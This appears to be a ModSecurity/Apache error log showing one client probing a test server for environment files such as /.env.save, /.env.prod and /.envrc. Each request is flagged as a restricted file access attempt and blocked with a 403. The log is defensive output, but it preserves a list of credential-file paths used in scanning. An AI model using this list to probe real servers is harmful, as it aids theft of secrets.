[Sun Mar 01 20:25:41.615038 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBsgAAAAU&quot;]
[Sun Mar 01 20:25:41.637335 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBswAAAAU&quot;]
[Sun Mar 01 20:25:41.637596 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBswAAAAU&quot;]
[Sun Mar 01 20:25:41.637768 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBswAAAAU&quot;]
[Sun Mar 01 20:25:41.660079 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtAAAAAU&quot;]
[Sun Mar 01 20:25:41.660305 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtAAAAAU&quot;]
[Sun Mar 01 20:25:41.660456 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtAAAAAU&quot;]
[Sun Mar 01 20:25:41.682766 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtQAAAAU&quot;]
[Sun Mar 01 20:25:41.682998 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtQAAAAU&quot;]
[Sun Mar 01 20:25:41.683157 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtQAAAAU&quot;]
[Sun Mar 01 20:25:41.705473 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtgAAAAU&quot;]
[Sun Mar 01 20:25:41.705689 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtgAAAAU&quot;]
[Sun Mar 01 20:25:41.705836 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtgAAAAU&quot;]
[Sun Mar 01 20:25:41.728247 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.default&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.default&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtwAAAAU&quot;]
[Sun Mar 01 20:25:41.728500 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.default&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtwAAAAU&quot;]
[Sun Mar 01 20:25:41.728663 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.default&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBtwAAAAU&quot;]
[Sun Mar 01 20:25:41.751149 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuAAAAAU&quot;]
[Sun Mar 01 20:25:41.751413 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuAAAAAU&quot;]
[Sun Mar 01 20:25:41.751599 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuAAAAAU&quot;]
[Sun Mar 01 20:25:41.773800 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuQAAAAU&quot;]
[Sun Mar 01 20:25:41.774060 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuQAAAAU&quot;]
[Sun Mar 01 20:25:41.774232 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuQAAAAU&quot;]
[Sun Mar 01 20:25:41.796434 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBugAAAAU&quot;]
[Sun Mar 01 20:25:41.796680 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBugAAAAU&quot;]
[Sun Mar 01 20:25:41.796841 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBugAAAAU&quot;]
[Sun Mar 01 20:25:41.819077 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuwAAAAU&quot;]
[Sun Mar 01 20:25:41.819303 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuwAAAAU&quot;]
[Sun Mar 01 20:25:41.819489 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBuwAAAAU&quot;]
[Sun Mar 01 20:25:41.841786 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBvAAAAAU&quot;]
[Sun Mar 01 20:25:41.842015 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBvAAAAAU&quot;]
[Sun Mar 01 20:25:41.842171 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aaSStf6okG7BJFjW-txBvAAAAAU&quot;]
[Sun Mar 01 20:25:42.005342 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBwwAAAAU&quot;]
[Sun Mar 01 20:25:42.005594 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBwwAAAAU&quot;]
